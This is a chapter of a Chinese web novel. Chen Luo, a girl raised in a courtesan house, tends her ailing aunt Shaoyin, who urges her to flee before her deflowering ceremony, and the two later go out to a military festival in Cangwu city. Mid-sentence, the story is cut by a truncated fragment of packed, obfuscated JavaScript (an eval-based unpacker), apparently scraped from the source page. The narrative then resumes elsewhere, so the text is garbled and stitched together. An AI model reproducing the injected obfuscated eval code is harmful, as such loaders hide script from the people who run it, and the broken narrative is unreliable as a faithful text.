夜深时，陈荦终于将温热的汤药端到窗前。韶音喝下药，一言不发地躺了许久，喊陈荦：“楚楚……” 陈荦急忙俯下身看她：“嗯？” 韶音看着她：“楚楚，你找个好男人带你走吧……” 25.二十五 韶音看着她：“楚楚，你找个好男人带你走吧……” “他若有钱给你赎身，那很好。若没钱，就这样带你逃走，只要抗住四娘那些打手，不被他们抓回来，那你就自由了。此后不管去哪里，只要那人值得托付，都好……都好……” 陈荦只当她是说胡话，“我走了，那你呢？” “你离开，姨娘不也跟着离开了吗？” 陈荦漫无目的地想了一下，“姨娘，离开苍梧城，能去哪里？” 韶音想了想，“楚楚，你若有机缘，便去平都城吧。” “平都？” “平都是大宴的国都，自然是天下最了不起的地方。听人说，那里比苍梧城要繁华好多倍。各国商贾云集，人多得不得了，灯火彻夜不熄的。”韶音的话中透出藏不住的向往，听起来已经不生陈荦的气了。“你要是能去平都，也带着姨娘去好好逛一逛。” 夜已深了。陈荦在韶音身边躺下，像小时候一样抱住她的臂膀，韶音身上熟悉的体香让她觉得安心。 韶音翻过身来搂住陈荦，“楚楚，楚楚，听姨娘的话，别去碰你那些乱七八糟的东西了。梳拢的日子前，找个好人，带你离开吧，姨娘是说真的。卖身子谋生活的日子姨娘过了半辈子，不想让你和清嘉再这样……你听进去没有？” 陈荦煎药煎得疲困，此时已经快睡过去了，听到她的话，迷糊地应承她：“嗯……姨娘，我错了。” “算命的说，你们俩命一定比姨娘好。那术士厉害得很，他说的一定应验！” “嗯……知道了，姨娘。” 陈荦很快睡着了。 韶音熄灯前，转头看到陈荦一双手被她打得手心红肿，涨起好大一块血瘀。她说不清心里的滋味，眼泪又一次汹涌地淌了下来，哭了许久，她伸手抹掉，起身去给她找膏药。 韶音给陈荦涂药，动作极轻，但陈荦还是有所感应，迷迷糊糊地和她说着话。“姨娘，梳拢之后，我是不是再没自由，不能随意外出了？蕉叶阁、麦田、小溪，哪里都不能去了……” “那是陆栖筠送我的笔墨，还有……给我的。” “姨娘，别撕我的纸，我喜欢纸……” 韶音听着她的絮絮叨叨，轻轻抹去她眼角的一滴泪，久久看着那极度不安的睡颜。她对这孩子，真的太过苛刻了吗？她是不是没有将她养好？ ———— 陈荦下了决心，近日都不再出门。她把自己关在馆中，没日没夜地练筝。想着在仲秋来临前，将师傅新教的曲子熟练。 韶音身体没有恢复，还需要躺着静养。陈荦便一边习练，一边照顾她。 陈荦不出门，整日坐在馆里，却听到外面传来好大的动静。连续几日，不断听到远近有车驾隆隆驶过，不时传来兵丁官差齐整的脚步声，还有笙箫鼓乐，百姓欢呼的声音。听馆中的杂役和姨娘们说，苍梧城有大事发生，节帅府要在城中举办讲武会，很是隆重。这几日来了好多兵丁和大人物。有临近州县的长官，还有大宴西边相邻的郗淇国、车勒国的王族、使团。 那打扫后院的小杂役不知从哪里听来的消息，兴致勃勃地和陈荦聊起，听说连平都城中的太子殿下也来了，也不知道是真的还是假的。今早，节帅府已贴出布告。讲武大会全城军民同庆，官兵休沐三天，除牢中死囚外，全城皆准许各处游玩，至靖安台观看。 陈荦好奇：“靖安台在哪里？” 小杂役告诉陈荦：“就是城中自去年初开始修建，前些日子才完成的那个高台子！” 陈荦突然想到在九幽天坑，杜玄渊跳入潭中前跟她说的话。突然明白过来，原来这就是太子李棠来到从平都来到苍梧的原因，李棠是代表朝廷来参加这次仲秋讲武大会的，这定然是苍梧城多年不遇的一件盛事。陈荦默默地想了一下讲武大会是做什么的，想得似懂非懂。 ———— 苍梧最大的长官是朝廷封的苍梧节度使郭岳。郭岳出镇苍梧已有十余年。这些年来，郭岳整顿军务，训练铁骑，先肃清了境内山匪，又先后打退了郗淇国和车勒侵扰，将两国与大宴的边界推至比前朝还往西一百里的糜锋山，让两国先后遣使入朝与大宴交好。这些年苍梧境内不起兵戈，也没有出现大的灾疫，十分清平。 苍梧境内人口越来越多，苍梧城的规模已扩至十年前的三倍。 讲武大会那日，申椒馆中不禁外出。陈荦撒了个娇，将韶音从榻上拉了起来。她不是个爱看热闹的人，却想让韶音跟她一起出去各处游玩，透透风。不想让她一直闷在屋里，不利养病。 从申椒馆踏入主街，两人立即被潮水般的人群包围了。陈荦长这么大，从没有在城中看到过这么多人。想不到节帅府的讲武大会竟这样隆重。 陈荦攀着韶音的胳膊，随着人流在街边摊上看各种稀奇古怪的小玩意儿，到胭脂铺里试了胭脂，贴了花钿，还买了两个馋人的馅饼。陈荦真心想让韶音多吃点东西，自从南下蜀中到现在，这些时日发生的事太过艰难，把她磨得一天比一天瘦。陈荦劝了许久，韶音没什么胃口，那两个馅饼最后还是不知不觉进了陈荦的肚子。 欣逢盛会，天气晴好。整个苍梧城，人群和各式车马填街塞巷，街上不时还走过不少高鼻深目蜷发的外国商贾。陈荦和韶音看得稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韶音和陈荦被围在人群中，挤也挤不到校场边看个清楚，想退也退不出去，只能跟人群一块等着，听周边个子高的人大声说着发生了什么。 只听校场处数声尖锐的呼啸，人群抬起头，看到五六只硕大的黑色成年沙鹰被放出，飞入苍梧城上空。沙鹰是苍梧特有的一种鹰，幼时鹰羽呈灰，成年转为黑。沙鹰以地面上的沙鼠和蛇为食，飞在高空，寻常百姓极难得到。若要猎得野生沙鹰，要苍梧军中箭术高超的兵将才有可能。 伴随着人群的惊呼，那些黑色沙鹰盘旋数圈后，展翅向城外飞去。 只听到马蹄声响起，好似有马队从校场冲了出去。 “有人去猎鹰了！” 陈荦踮起脚尖，隔着厚厚的人墙，突然看到疾驰而过的马队中闪过一个熟悉的身影。那是杜玄渊所骑的黑马！陈荦努力伸长了脖子，可惜马队的速度太快，看不清马上的人影，便疾驰而过了。